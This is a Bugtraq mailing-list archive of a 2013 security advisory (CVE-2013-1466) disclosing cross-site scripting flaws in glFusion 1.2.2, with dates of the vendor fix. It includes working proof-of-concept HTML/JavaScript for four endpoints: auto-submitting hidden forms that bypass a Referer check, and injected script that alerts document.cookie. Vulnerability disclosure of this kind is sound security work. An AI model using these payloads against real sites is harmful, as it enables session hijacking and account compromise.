[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Multiple Cross-Site Scripting (XSS) in glFusion
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Multiple Cross-Site Scripting (XSS) in glFusion
- From: advisory@xxxxxxxxxxxx
- Date: Wed, 20 Feb 2013 11:50:49 +0100 (CET)
Advisory ID: HTB23142
Product: glFusion
Vendor: http://www.glfusion.org/
Vulnerable Version(s): 1.2.2 and probably prior
Tested Version: 1.2.2
Vendor Notification: January 30, 2013
Vendor Patch: January 30, 2013
Public Disclosure: February 20, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1466
Risk Level: Medium
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab (
https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities
in glFusion, which can be exploited to perform Cross-Site Scripting attacks.
glFusion has a "bad_behaviour" plugin (installed by default) that verifies HTTP
Referer, aimed to protect against spambots. The plugin also makes reflected XSS
attacks against the application a little bit more complex. To bypass the
security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3
modify the HTTP Referer header. These PoCs were successfully tested in the
latest available version of Mozilla Firefox (18.0.1) .
1) Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466
1.1 The vulnerability exists due to insufficient filtration of user-supplied
data in "subject" HTTP POST parameter passed to "/profiles.php" script. A
remote attacker can trick a logged-in user to open a specially crafted link and
execute arbitrary HTML and script code in browser in context of the vulnerable
website.
The PoC code below uses "alert()" JavaScript function to display user's
cookies:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent"
action="http://[host]/profiles.php" method="post">'
html += '<input type="hidden" name="uid" value="2">'
html += '<input type="hidden" name="author"
value="author">'
html += '<input type="hidden" name="message" value="1">'
html += '<input type="hidden" name="message_html"
value="1">'
html += '<input type="hidden" name="authoremail"
value="mail@xxxxxxxx">'
html += '<input type="hidden" name="postmode"
value="html">'
html += '<input type="hidden" name="what"
value="contact">'
html += '<input type="hidden" name="subject" value=\'"
onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank"
style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>
1.2 The vulnerabilities exist due to insufficient filtration of user-supplied
data in "address1", "address2", "calendar_type", "city", "state", "title",
"url", "zipcode" HTTP POST parameters passed to "/calendar/index.php" script. A
remote attacker can trick a logged-in user into opening a specially crafted
link and execute arbitrary HTML and script code in user’s browser in context of
the vulnerable website.
The PoC code below uses "alert()" JavaScript function to display user's
cookies:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent"
action="http://[host]/calendar/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="savecal" value="Submit">'
html += '<input type="hidden" name="address1" value=\'"
onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="calendar_type"
value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="city" value=\'"
onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="state" value=\'"
onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="title" value=\'"
onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="url" value=\'"
onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="zipcode" value=\'"
onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="address2" value=\'"
onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank"
style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>
1.3 The vulnerabilities exists due to insufficient filtration of user-supplied
data in "title" and "url" HTTP POST parameters passed to "/links/index.php"
script. A remote attacker can trick a logged-in user to open a specially
crafted link and execute arbitrary HTML and script code in browser in context
of the vulnerable website.
The PoC code below uses "alert()" JavaScript function to display user's
cookies:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent"
action="http://[host]/links/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="title" value=\'"
onmouseover="javascript:alert(1);"\'>'
html += '<input type="hidden" name="url" value=\'"
onmouseover="javascript:alert(2);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank"
style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>
1.4 The vulnerability exists due to insufficient filtration of user-supplied
data in URI after "/admin/plugins/mediagallery/xppubwiz.php" script. A remote
attacker can trick a logged-in user to open a specially crafted link and
execute arbitrary HTML and script code in browser in context of the vulnerable
website.
The PoC code below uses "alert()" JavaScript function to display user's
cookies:
http://[host]/admin/plugins/mediagallery/xppubwiz.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E/
-----------------------------------------------------------------------------------------------
Solution:
Upgrade to glFusion v1.2.2.pl4
More Information:
http://www.glfusion.org/article.php/glf122_update_20130130_01
http://www.glfusion.org/filemgmt/viewcat.php?cid=1
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23142 -
https://www.htbridge.com/advisory/HTB23142 - Multiple Cross-Site Scripting
(XSS) in glFusion.
[2] glFusion - http://www.glfusion.org/ - glFusion is an open source content
management system developed in PHP providing blog, forum, gallery, downloads.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ -
international in scope and free for public use, CVE® is a dictionary of
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to
developers and security practitioners, CWE is a formal list of software
weakness types.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be updated in
order to provide as accurate information as possible. The latest version of the
Advisory is available on web page [1] in the References.